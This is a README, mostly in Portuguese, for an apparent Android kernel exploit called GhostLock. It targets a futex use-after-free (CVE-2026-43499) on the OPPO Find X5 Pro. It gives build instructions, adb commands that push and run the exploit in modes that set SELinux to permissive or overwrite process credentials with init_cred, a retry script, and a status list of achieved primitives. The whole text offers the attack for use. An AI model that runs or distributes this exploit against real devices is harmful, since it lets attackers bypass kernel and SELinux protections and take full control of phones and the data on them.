GhostLock — PFEM10

Exploit CVE-2026-43499 (IonStack) para OPPO Find X5 Pro (PFEM10). Kernel 5.10.236-android12-9-o, futex CMP_REQUEUE_PI UAF → primitiva de escrita na pi-tree.

Use por sua conta e risco. Espere panics / reboots. Não atualize o firmware.

Build

./build.sh        # requires Android NDK r28c

Os parâmetros de build são fixos (-O1 / android26) — alterá-los quebra a calibração da geometria da stack.

Run

adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit W1    # SELinux permissive
adb shell /data/local/tmp/exploit W2    # child cred -> init_cred
adb shell /data/local/tmp/exploit W5    # caps-only cred copy

Tente novamente entre reboots: bash run.sh <mode> [attempts]

Layout

src/     exploit + payload + offsets (exploit.c, payload.c, pfem10_target.h)
lib/     KernelSnitch heap-leak library
model/   rtmutex chain-walk model (host verification)

Status

• UAF trigger, controlled reclaim, write primitive, FOPS hijack
• W1 (SELinux permissive)
• W2 / W5 cred write (blocked by oplus_root_check, caps-only route in progress)

Credits

CyberMeowfia · IonStack (original exploit)